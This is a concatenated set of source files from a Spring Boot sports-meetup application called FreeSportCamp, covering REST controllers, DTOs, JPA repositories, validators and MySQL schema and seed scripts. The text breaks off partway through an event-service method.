* Creates a new {@code UserController} with given injected service.
*
* @param userService is an injected {@code UserService}
*
*/
protected UserController(UserService userService) {
this.userService = userService;
}
/**
* Endpoint to create a resource (user) with given inputs.
*
* @param userDto : the inputs of the Rest client
*/
// {@code ReponseEntity}: extension of {@link HttpEntity} that adds a {@link HttpStatus} status code.
// Used in {@code RestTemplate} as well {@code @Controller} methods.
@PostMapping
public ResponseEntity create(@Valid @RequestBody UserDto userDto) {
userService.create(userDto);
HashMap<String, String> response = new HashMap<String, String>();
response.put("message", "success");
return new ResponseEntity(response, HttpStatus.CREATED);
}
/**
* Endpoint to update a resource (password) with given inputs.
*
* @param passwordDto : the inputs of the Rest client
*/
@PostMapping("/password")
public ResponseEntity updatePassword(@Valid @RequestBody PasswordDto passwordDto) {
try {
userService.update(passwordDto);
return ResponseEntity.ok().build(); // == new ResponseEntity("", HttpStatus.OK)
} catch (Exception err) {
return ResponseEntity.badRequest().build(); // == new ResponseEntity("", HttpStatus.BAD_REQUEST)
}
}
}
<file_sep>package com.masterpiece.FreeSportCamp.controllers;
import javax.validation.Valid;
import javax.validation.constraints.Min;
import javax.validation.constraints.NotNull;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.masterpiece.FreeSportCamp.dtos.ProfileDto;
import com.masterpiece.FreeSportCamp.dtos.ProfileViewDto;
import com.masterpiece.FreeSportCamp.dtos.PublicProfileViewDto;
import com.masterpiece.FreeSportCamp.services.ProfileService;
/**
* @author <NAME> A collection of resources ({@code Profile}). Exposes
* endpoints in order to create, update, delete and retrieve resources.
*/
@Validated // group validation
@RestController // defines this class as a Rest controller
@RequestMapping("/profile") // root segment defining the collection
public class ProfileController {
/**
* Service is injected by Spring during startup of the application
*/
private final ProfileService service;
/**
* Creates a new {@code ProfileController} with given injected service.
*
* @param service is an injected {@code ProfileService}
*/
protected ProfileController(ProfileService service) {
this.service = service;
}
// {@code ReponseEntity}: extension of {@link HttpEntity} that adds a {@link
// HttpStatus} status code.
// Used in {@code RestTemplate} as well {@code @Controller} methods.
/**
* Endpoint to retrieve a view of a resource (personal profile).
* @return a view of profile
*/
@GetMapping()
protected ResponseEntity<ProfileViewDto> get() {
return new ResponseEntity<ProfileViewDto>(service.get(), HttpStatus.OK);
}
/**
* Endpoint to retrieve a view of a resource (public profile).
* @param userId: the id of the resource to retrieve
* @return a view of public profile
*/
@GetMapping("/public")
protected ResponseEntity<PublicProfileViewDto> get(@RequestParam("userId") @NotNull @Min(1) Long userId) {
return new ResponseEntity<PublicProfileViewDto>(service.getPublic(userId), HttpStatus.OK);
}
/**
* Endpoint to update a resource (profile) with given inputs
*
* @param dto: the inputs of the Rest client
*/
@PostMapping("/update")
protected ResponseEntity update(@Valid @RequestBody ProfileDto dto) {
try {
service.update(dto);
return ResponseEntity.ok().build();
} catch (Exception ex) {
return ResponseEntity.badRequest().build();
}
}
/**
* Endpoint to delete the resource (profile) with given id.
*/
@DeleteMapping("")
protected ResponseEntity delete() {
try {
service.delete();
return ResponseEntity.ok().build();
} catch (Exception ex) {
return ResponseEntity.badRequest().build();
}
}
}
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
/**
* @author <NAME>
* An interface representing a view of a {@code City}.
* Exposes getter methods which will be implemented by Spring.
*
*/
public interface CityViewDto {
/**
* @return the id of the city
*/
Long getId();
/**
* @return the name of the city
*/
String getName();
// String getZipCode();
}
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
public interface SportViewDto {
Long getId();
String getName();
}
<file_sep>package com.masterpiece.FreeSportCamp.repositories;
import java.util.Optional;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.data.jpa.repository.Query;
import com.masterpiece.FreeSportCamp.dtos.ProfileViewDto;
import com.masterpiece.FreeSportCamp.dtos.PublicProfileViewDto;
import com.masterpiece.FreeSportCamp.dtos.UserAuthDto;
import com.masterpiece.FreeSportCamp.dtos.UserInfoDto;
import com.masterpiece.FreeSportCamp.dtos.UserListViewDto;
import com.masterpiece.FreeSportCamp.entities.User;
/**
* @author <NAME> "@Repository" is optional, a JpaRepository is already a
* Repository
*
*/
public interface UserRepository extends JpaRepository<User, Long> {
/**
* @param userName Retrieves a projected view of a user with a given
* {@code userName} - if exist
*/
Optional<UserAuthDto> findByUserName(String userName);
/**
* Retrieves a user with a given {@code id} - if exist
*/
Optional<User> findById(Long id);
/**
* @param id Retrieves a projected view of the current authenticated
* {@code User}.
*/
Optional<UserInfoDto> getById(Long id);
/**
* @param userId
* @return a view of a {@Code PublicProfile} with given id A projection of one
* {@code PublicProfile} in a {@code PublicProfileViewDto}
*/
PublicProfileViewDto getPublicProfileById(Long userId);
/**
* @param userId
* @return a view of a {@Code Profile} with given id. A projection of one
* {@code Profile} in a {@code ProfileViewDto}
*/
ProfileViewDto getProfileById(Long userId);
/**
* @param userName
* @return a boolean to verify if the user name is already exist (or not) in the
* DB
*/
boolean existsByUserName(String userName);
/**
* @param email
* @return a boolean to verify if the user name is already exist (or not) in the
* DB
*/
boolean existsByEmail(String email);
//@Query("SELECT new com.masterpiece.FreeSportCamp.dtos.UserListViewDto(u.id,u.fullName,u.userName,u.emali,u.phoneNumber) "
//+ "FROM User u "
//+ "WHERE u.enabled = true")
Page<UserListViewDto> getAllProjectedByEnabledTrue(Pageable pageable);
}
<file_sep>DROP SCHEMA IF EXISTS `FSC` ;
CREATE SCHEMA IF NOT EXISTS `FSC` DEFAULT CHARACTER SET utf8mb4 COLLATE = utf8mb4_0900_ai_ci;
USE `FSC` ;
CREATE TABLE `sports` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB;
CREATE TABLE `cities` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
`zipcode` VARCHAR(45) NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB;
CREATE TABLE `levels` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB;
CREATE TABLE `time_slots` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
`min_time` TIME NOT NULL,
`max_time` TIME NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB;
CREATE TABLE `users` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`full_name` VARCHAR(45) NOT NULL,
`username` VARCHAR(45) NOT NULL,
`email` VARCHAR(45) NOT NULL,
`password` VARCHAR(250) NOT NULL,
`enabled` TINYINT(1) NOT NULL DEFAULT 1,
`phone_number` VARCHAR(25) NULL,
`birthdate` DATE NULL,
`sex` ENUM("MALE", "FEMALE") NULL,
`presentation` VARCHAR(500) NULL,
`city_id` INT UNSIGNED NULL,
PRIMARY KEY (`id`),
UNIQUE INDEX `username_UQ` (`username`),
UNIQUE INDEX `email_UQ` (`email`),
INDEX `users_city_id_IDX` (`city_id`),
CONSTRAINT `users_city_id_FK` FOREIGN KEY (`city_id`) REFERENCES `cities` (`id`))
ENGINE = InnoDB;
CREATE TABLE `events` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`appointment` DATE NOT NULL,
`time` TIME NOT NULL,
`description` VARCHAR(1000) NULL,
`city_id` INT UNSIGNED NOT NULL,
`level_id` INT UNSIGNED NOT NULL,
`sport_id` INT UNSIGNED NOT NULL,
`organizer_id` INT UNSIGNED NOT NULL,
PRIMARY KEY (`id`),
INDEX `events_city_id_IDX` (`city_id`),
INDEX `events_level_id_IDX` (`level_id`),
INDEX `events_sport_id_IDX` (`sport_id`),
INDEX `events_organizer_id_IDX` (`organizer_id`),
UNIQUE INDEX `events_organizer_appointment_time_UQ` (`id`, `appointment`, `time`, `organizer_id`),
CONSTRAINT `events_city_id_FK` FOREIGN KEY (`city_id`) REFERENCES `cities` (`id`),
CONSTRAINT `events_level_id_FK` FOREIGN KEY (`level_id`) REFERENCES `levels` (`id`),
CONSTRAINT `events_sport_id_FK` FOREIGN KEY (`sport_id`) REFERENCES `sports` (`id`),
CONSTRAINT `events_organizer_id_FK` FOREIGN KEY (`organizer_id`) REFERENCES `users` (`id`))
ENGINE = InnoDB;
CREATE TABLE `participations` (
`event_id` INT(10) UNSIGNED NOT NULL,
`user_id` INT(10) UNSIGNED NOT NULL,
PRIMARY KEY (`user_id`, `event_id`),
INDEX `participations_user_id_IDX` (`user_id`),
INDEX `participations_event_id_IDX` (`event_id`),
CONSTRAINT `participations_event_id_FK` FOREIGN KEY (`event_id`) REFERENCES `events` (`id`),
CONSTRAINT `participations_user_id_FK` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`))
ENGINE = InnoDB;
CREATE TABLE `roles` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`code` VARCHAR(45) NOT NULL,
`default_role` TINYINT(1) NOT NULL DEFAULT 0,
UNIQUE INDEX `code_UQ` (`code`),
PRIMARY KEY (`id`))
ENGINE = InnoDB;
CREATE TABLE `users_roles` (
`role_id` INT(10) UNSIGNED NOT NULL,
`user_id` INT(10) UNSIGNED NOT NULL,
PRIMARY KEY (`role_id`, `user_id`),
INDEX `users_roles_user_id_IDX` (`user_id`),
INDEX `users_roles_role_id_IDX` (`role_id`),
CONSTRAINT `users_roles_role_id_FK` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`),
CONSTRAINT `users_roles_user_id_FK` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`))
ENGINE = InnoDB;
<file_sep>package com.masterpiece.FreeSportCamp.config;
@SuppressWarnings("serial")
public class ResourceNotFoundException extends RuntimeException{
public ResourceNotFoundException(String message) {
}
public ResourceNotFoundException() {
super();
}
}
<file_sep>---
name: Epic
about: Describe this issue template's purpose here.
title: Epic
labels: Epic
assignees: AnnaRobin
---
<file_sep>import MiniFooter from './MiniFooter';
export default MiniFooter;<file_sep>package com.masterpiece.FreeSportCamp.dtos;
import javax.validation.constraints.Email;
import javax.validation.constraints.NotBlank;
import javax.validation.constraints.Pattern;
import org.hibernate.validator.constraints.Length;
import com.masterpiece.FreeSportCamp.validation.PwConfirmation;
import com.masterpiece.FreeSportCamp.validation.UniqueMail;
import com.masterpiece.FreeSportCamp.validation.UniqueName;
@PwConfirmation
public class UserDto {
@NotBlank
@Length(max=45)
@UniqueName
private String userName;
@NotBlank
@Length(min=5, max=45)
private String password;
@NotBlank
private String confirmation;
@NotBlank
@Length(max=45)
@Pattern(regexp = "[a-zàáâãäåçèéêëìíîïðòóôõöùúûüýÿ]+\\s[a-zàáâãäåçèéêëìíîïðòóôõöùúûüýÿ]+$", flags=Pattern.Flag.CASE_INSENSITIVE)
private String fullName;
@NotBlank
@Length(max=45)
@Email
@UniqueMail
private String email;
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getFullName() {
return fullName;
}
public void setFullName(String fullName) {
this.fullName = fullName;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getConfirmation() {
return confirmation;
}
public void setConfirmation(String confirmation) {
this.confirmation = confirmation;
}
}
<file_sep>package com.masterpiece.FreeSportCamp.validation;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import org.springframework.beans.factory.annotation.Autowired;
import com.masterpiece.FreeSportCamp.services.UserService;
public class UniqueMailValidator implements ConstraintValidator<UniqueMail, String> {
@Autowired
private UserService service;
@Override
public boolean isValid(String email, ConstraintValidatorContext context) {
if (email == null) {
return true;
}
return service.uniqueMail(email);
}
}
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
import java.time.LocalDate;
import java.time.LocalTime;
import com.masterpiece.FreeSportCamp.config.SecurityHelper;
public class EventDto {
public EventDto(Long id, LocalDate appointment, LocalTime time, String sportName, String levelName, String cityName, String phoneNumber, Long organizerId, String organizerName,String description, Long subscriberId) {
this.id =id;
this.sportName = sportName;
this.levelName = levelName;
this.cityName = cityName;
this.appointment = appointment;
this.description = description;
this.time = time;
this.phoneNumber = phoneNumber;
this.organizerId = organizerId;
this.organizerName = organizerName;
this.isOwner = organizerId.equals(SecurityHelper.getUserId());
this.isSubscribed = subscriberId != null && subscriberId.equals(SecurityHelper.getUserId());
}
private Long id;
private String sportName;
private String levelName;
private String cityName;
private LocalDate appointment;
private LocalTime time;
private String phoneNumber;
private String description;
private Long organizerId;
private String organizerName;
private Boolean isSubscribed;
private Boolean isOwner;
public Long getId() {
return this.id;
}
public String getSportName() {
return this.sportName;
}
public String getLevelName() {
return this.levelName;
}
public String getCityName() {
return this.cityName;
}
public LocalDate getAppointment() {
return this.appointment;
}
public LocalTime getTime() {
return this.time;
}
public String getOrganizerPhoneNumber() {
return this.phoneNumber;
}
public String getDescription() {
return this.description;
}
public Long getOrganizerId() {
return this.organizerId;
}
public String getOrganizerUserName() {
return this.organizerName;
}
public Boolean getisSubscribed(){
return this.isSubscribed;
}
public Boolean getisOwner() {
return this.isOwner;
}
}
<file_sep>package com.masterpiece.FreeSportCamp;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class FreeSportCampApplicationTests {
@Test
void contextLoads() {
}
}
<file_sep>package com.masterpiece.FreeSportCamp.repositories;
import org.springframework.data.jpa.repository.JpaRepository;
import com.masterpiece.FreeSportCamp.entities.Role;
/**
* @author <NAME>
* "@Repository" is optional, a JpaRepository is already a Repository
*
*/
public interface RoleRepository extends JpaRepository<Role, Long> {
/**
* @return an Object {@code Role} with it's default role ("user")
*/
Role findByDefaultRoleTrue();
}
<file_sep>
USE `FSC`;
SET autocommit=0;
SET FOREIGN_KEY_CHECKS=0;
TRUNCATE TABLE participations;
truncate table events;
TRUNCATE TABLE cities;
truncate table levels;
TRUNCATE TABLE sports;
TRUNCATE TABLE time_slots;
-- Dumping data for table `cities`
INSERT INTO `cities` (`name`, `zipcode`) VALUES ('Fontenay','94120'),('La Défense','92060'),('Boulogne','92100');
-- Dumping data for table `levels`
INSERT INTO `levels` (`name`) VALUES ('débutant'),('intermédiaire'),('expert');
-- Dumping data for table `roles`
INSERT INTO `roles`(`code`, `default_role`) VALUES ('user','1'),('administrateur','0');
-- Dumping data for table `sports`
INSERT INTO `sports` (`name`) VALUES ('course à pieds'),('football'),('ping-pong'),('baby-foot');
-- Dumping data for table `time_slots`
INSERT INTO `time_slots` (`name`, `min_time`, `max_time`) VALUES ('matin','00:00:00','12:00:00'),('midi','12:00:00','14:00:00'),('après-midi','14:00:00','20:00:00'),('nocturne','20:00:00','23:59:59');
COMMIT;
SET autocommit=1;
SET FOREIGN_KEY_CHECKS=1;<file_sep>package com.masterpiece.FreeSportCamp.errors;
public class ValidationError {
private final String object;
private final String attribute;
private final String code;
private final boolean globalError;
public ValidationError(String object, String attribute, String code) {
this.object = object;
this.attribute = attribute;
this.code = code;
globalError = this.attribute == null;
}
public ValidationError(String object, String code) {
this(object, null, code);
}
public String getObject() {
return object;
}
public String getAttribute() {
return attribute;
}
public String getCode() {
return code;
}
public boolean isGlobalError() {
return globalError;
}
}
<file_sep>package com.masterpiece.FreeSportCamp.dtos;
public final class IdentifierDto {
private final Long id;
public IdentifierDto(Long id) {
this.id = id;
}
public Long getId() {
return id;
}
}
<file_sep>package com.masterpiece.FreeSportCamp.entities;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Table;
/**
* @author <NAME>
* The City class mapped to the database
*
*/
@Entity
@Table(name = "cities")
public class City extends AbstractEntity {
@Column(name = "zipcode", nullable = false, length = 45) // Column specifications
private String zipCode;
protected City() {
}
public City(Long id) {
this.setId(id);
}
public String getZipCode() {
return zipCode;
}
public void setZipCode(String zipCode) {
this.zipCode = zipCode;
}
}
<file_sep>----------------------------------------------------------------DDL------------------------------------------------------------------------------------
SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0;
SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0;
SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION';
CREATE SCHEMA IF NOT EXISTS `fsc` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin ;
USE `fsc` ;
-- -----------------------------------------------------
-- Table `fsc`.`cities`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`cities` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
`zipcode` VARCHAR(10) NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB
AUTO_INCREMENT = 4
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`levels`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`levels` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB
AUTO_INCREMENT = 4
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`sports`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`sports` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB
AUTO_INCREMENT = 5
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`time_slots`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`time_slots` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
`max_time` TIME NOT NULL,
`min_time` TIME NOT NULL,
PRIMARY KEY (`id`))
ENGINE = InnoDB
AUTO_INCREMENT = 4
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`users`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`users` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`full_name` VARCHAR(45) NOT NULL,
`username` VARCHAR(45) NOT NULL,
`email` VARCHAR(45) NOT NULL,
`password` VARCHAR(256) NOT NULL,
`phone_number` VARCHAR(25) NULL,
`birthdate` DATE NULL,
`sex` ENUM('2') NULL,
`city_id` INT(10) UNSIGNED NOT NULL,
`presentation` VARCHAR(500) NULL,
`enabled` VARCHAR(1) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE INDEX `username_UNIQUE` (`username` ASC),
UNIQUE INDEX `email_UNIQUE` (`email` ASC),
INDEX `users_city_id_IDX` (`city_id` ASC),
CONSTRAINT `users_city_id_FK`
FOREIGN KEY (`city_id`)
REFERENCES `fsc`.`cities` (`id`))
ENGINE = InnoDB
AUTO_INCREMENT = 39
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`events`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`events` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`appointment` DATE NOT NULL,
`description` VARCHAR(1000) NULL DEFAULT NULL,
`city_id` INT(10) UNSIGNED NOT NULL,
`time` TIME NOT NULL,
`level_id` INT(10) UNSIGNED NOT NULL,
`sport_id` INT(10) UNSIGNED NOT NULL,
`organizer_id` INT(10) UNSIGNED NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `events_organizer_id_appointment_time_UNIQUE`(`organizer_id`,`appointment`,`time`),
INDEX `events_city_id_IDX` (`city_id` ASC),
INDEX `events_level_id_IDX` (`level_id` ASC),
INDEX `events_sport_id_IDX` (`sport_id` ASC),
INDEX `events_user_id_IDX` (`organizer_id` ASC),
INDEX `events_organizer_id_IDX` (`organizer_id`),
CONSTRAINT `events_city_id_FK`
FOREIGN KEY (`city_id`)
REFERENCES `fsc`.`cities` (`id`),
CONSTRAINT `events_level_id_FK`
FOREIGN KEY (`level_id`)
REFERENCES `fsc`.`levels` (`id`),
CONSTRAINT `events_sport_id_FK`
FOREIGN KEY (`sport_id`)
REFERENCES `fsc`.`sports` (`id`),
CONSTRAINT `events_user_id_FK`
FOREIGN KEY (`organizer_id`)
REFERENCES `fsc`.`users` (`id`))
ENGINE = InnoDB
AUTO_INCREMENT = 104
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`participations`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`participations` (
`event_id` INT(10) UNSIGNED NOT NULL,
`user_id` INT(10) UNSIGNED NOT NULL,
PRIMARY KEY (`user_id`, `event_id`),
INDEX `fk_participation_user_idx` (`user_id` ASC),
INDEX `fk_participation_event_idx` (`event_id` ASC),
CONSTRAINT `fk_participation_event`
FOREIGN KEY (`event_id`)
REFERENCES `fsc`.`events` (`id`),
CONSTRAINT `fk_participation_user`
FOREIGN KEY (`user_id`)
REFERENCES `fsc`.`users` (`id`))
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`roles`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`roles` (
`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
`code` VARCHAR(45) NOT NULL,
`default_role` VARCHAR(1) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE INDEX `code_UNIQUE` (`code` ASC))
ENGINE = InnoDB
AUTO_INCREMENT = 3
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
-- -----------------------------------------------------
-- Table `fsc`.`users_roles`
-- -----------------------------------------------------
CREATE TABLE IF NOT EXISTS `fsc`.`users_roles` (
`user_id` INT(10) UNSIGNED NOT NULL,
`role_id` INT(10) UNSIGNED NOT NULL,
PRIMARY KEY (`user_id`, `role_id`),
INDEX `users_roles_role_id_IDX` (`role_id` ASC),
INDEX `users_roles_user_id_IDX` (`user_id` ASC),
CONSTRAINT `users_roles_user_id_FK`
FOREIGN KEY (`user_id`)
REFERENCES `fsc`.`users` (`id`)
ON DELETE NO ACTION
ON UPDATE NO ACTION,
CONSTRAINT `users_roles_role_id_FK`
FOREIGN KEY (`role_id`)
REFERENCES `fsc`.`roles` (`id`)
ON DELETE NO ACTION
ON UPDATE NO ACTION)
ENGINE = InnoDB
DEFAULT CHARACTER SET = utf8
COLLATE = utf8_bin;
SET SQL_MODE=@OLD_SQL_MODE;
SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
---------------------------------------------------------------------------DML--------------------------------------------------------------------------
USE fsc;
--
-- Dumping data for table `cities`
--
INSERT INTO `cities` VALUES (1,'Fontenay','94120'),(2,'La Défense','92060'),(3,'Boulogne','92100');
--
-- Dumping data for table `levels`
--
INSERT INTO `levels` VALUES (1,'débutant'),(2,'intermédiaire'),(3,'expert');
--
-- Dumping data for table `roles`
--
INSERT INTO `roles` VALUES (1,'user','T'),(2,'administrateur','F');
--
-- Dumping data for table `sports`
--
INSERT INTO `sports` VALUES (1,'course à pieds'),(2,'football'),(3,'ping-pong'),(4,'baby-foot');
--
-- Dumping data for table `time_slots`
--
INSERT INTO `time_slots` VALUES (1,'matin','00:00:00','12:00:00'),(2,'midi','12:00:00','14:00:00'),(3,'après-midi','14:00:00','20:00:00'),(4,'nocturne','20:00:00','23:59:59');
--
-- Dumping data for table `users`
--
INSERT INTO `users` VALUES
(1,'Deleted user','Utilisateur supprimé','<EMAIL>','fake','',NULL,NULL,'',NULL,NULL);
<file_sep>---
name: Project management
about: Describe this issue template's purpose here.
title: Projet management
labels: Project Management
assignees: AnnaRobin
---
<file_sep>package com.masterpiece.FreeSportCamp.services;
import java.time.LocalDate;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
import java.util.stream.Collectors;
import javax.transaction.Transactional;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageImpl;
import org.springframework.data.domain.PageRequest;
import org.springframework.stereotype.Service;
import com.masterpiece.FreeSportCamp.dtos.CriteriaViewDto;
import com.masterpiece.FreeSportCamp.dtos.EventCreatorDto;
import com.masterpiece.FreeSportCamp.dtos.EventDto;
import com.masterpiece.FreeSportCamp.dtos.EventEditorDto;
import com.masterpiece.FreeSportCamp.dtos.EventEditorViewDto;
import com.masterpiece.FreeSportCamp.dtos.IdentifierDto;
import com.masterpiece.FreeSportCamp.dtos.SearchDto;
import com.masterpiece.FreeSportCamp.dtos.SubscriberViewDto;
import com.masterpiece.FreeSportCamp.entities.City;
import com.masterpiece.FreeSportCamp.entities.Event;
import com.masterpiece.FreeSportCamp.entities.Level;
import com.masterpiece.FreeSportCamp.entities.Sport;
import com.masterpiece.FreeSportCamp.entities.Time;
import com.masterpiece.FreeSportCamp.entities.User;
import com.masterpiece.FreeSportCamp.repositories.CityRepository;
import com.masterpiece.FreeSportCamp.repositories.EventRepository;
import com.masterpiece.FreeSportCamp.repositories.LevelRepository;
import com.masterpiece.FreeSportCamp.repositories.SportRepository;
import com.masterpiece.FreeSportCamp.repositories.TimeRepository;
import com.masterpiece.FreeSportCamp.repositories.UserRepository;
import com.masterpiece.FreeSportCamp.config.SecurityHelper;
import org.jsoup.Jsoup;
import org.jsoup.safety.Whitelist;
@Service // defines this class as a service
@Transactional // Spring dynamically creates a proxy that implements the same interface(s) as
// the class
public class EventServiceImpl extends AbstractService implements EventService {
/**
* The injected repositories by Spring during startup of the application
*/
private final CityRepository cityRepository;
private final LevelRepository levelRepository;
private final SportRepository sportRepository;
private final TimeRepository timeRepository;
private final EventRepository eventRepository;
private final UserRepository userRepository;
/**
* Creates a new {@code EventServiceImpl} with given injected repositories.
*
* @param cityRepository
* @param levelRepository
* @param sportRepository
* @param timeRepository
* @param eventRepository
* @param userRepository
*/
protected EventServiceImpl(CityRepository cityRepository, LevelRepository levelRepository,
SportRepository sportRepository, TimeRepository timeRepository, EventRepository eventRepository,
UserRepository userRepository) {
this.cityRepository = cityRepository;
this.levelRepository = levelRepository;
this.sportRepository = sportRepository;
this.timeRepository = timeRepository;
this.eventRepository = eventRepository;
this.userRepository = userRepository;
}
/**
* Method for retriever the drop down lists of criteria of an event
*/
public CriteriaViewDto get() {
CriteriaViewDto criterias = new CriteriaViewDto();
criterias.setCities(cityRepository.getAllProjectedBy());
criterias.setLevels(levelRepository.getAllProjectedBy());
criterias.setSports(sportRepository.getAllProjectedBy());
criterias.setTimes(timeRepository.getAllProjectedBy());
return criterias;
}
/**
* If the event already exists (Boolean = true) : (same organizer at the same
* time) the recreation is not possible.
*/
public Boolean alreadyExistsEvent(EventCreatorDto dto) {
return eventRepository.existsByOrganizerAndAppointmentAndTime(new User(SecurityHelper.getUserId()),
dto.getAppointment(), dto.getTime());
}
/**
* Update a resource (event) with given inputs
* <p>
* If the event already exists (same organizer at the same time) the recreation
* is not possible.
*/
public Boolean alreadyExistsEvent(EventEditorDto dto) {
return eventRepository.existsByOrganizerAndAppointmentAndTimeAndIdNot(new User(SecurityHelper.getUserId()),
dto.getAppointment(), dto.getTime(), dto.getId());
}
/**
* Verify is if a user is the organizer of an event with given id
*
*/
public Boolean isOwner(EventEditorDto dto) {
return eventRepository.existsByOrganizerAndId(new User(SecurityHelper.getUserId()), dto.getId());
}
/**
* Retrieve a {@code Page}s of {@code EventDto} with given paging information
* subscribed by user(s)with given id(s).
*/
public Page<EventDto> getSubscribed(int page, int size) {
return eventRepository.findSubscribedBy(SecurityHelper.getUserId(), PageRequest.of(page, size));
}
/**
* {@code Page}s of {@code EventDto} with given paging information created
* (organized) by a user with a given id
*/
public Page<EventDto> getCreated(int page, int size) {
return eventRepository.findCreatedBy(SecurityHelper.getUserId(), PageRequest.of(page, size));
}
/**
* {@code Page}s of {@code EventDto} with given paging information created
* (organized) by a user with a given id
*/
public Page<EventDto> getAll(Long cityId, Long sportId, Long levelId, Long timeId, int page, int size) {
// return a time slot by a given id
Time time = timeRepository.getById(timeId);
return eventRepository.findProjectedBy(LocalDate.now(), cityId, sportId, levelId, time.getMinTime(),
time.getMaxTime(), SecurityHelper.getUserId(), PageRequest.of(page, size));
}
public List<SubscriberViewDto> getSubscribers(Long eventId) {
return eventRepository.findProjectedBy(eventId);
}
public Boolean subscribe(Long eventId) {
Optional<Event> optional = eventRepository.findById(eventId);
if (!optional.isEmpty()) {
Event event = optional.get();
if (event.getAppointment().isBefore(LocalDate.now())) {
return false;
}
event.getSubscribers().add(new User(SecurityHelper.getUserId()));
eventRepository.save(event);
return true;
}
return false;
}
public Boolean unsubscribe(Long eventId) {
Optional<Event> optional = eventRepository.findById(eventId);
if (!optional.isEmpty()) {
Event event = optional.get();
if (event.getAppointment().isBefore(LocalDate.now())) {
return false;
}
Optional<User> optUser = userRepository.findById(SecurityHelper.getUserId());
User user = optUser.get();
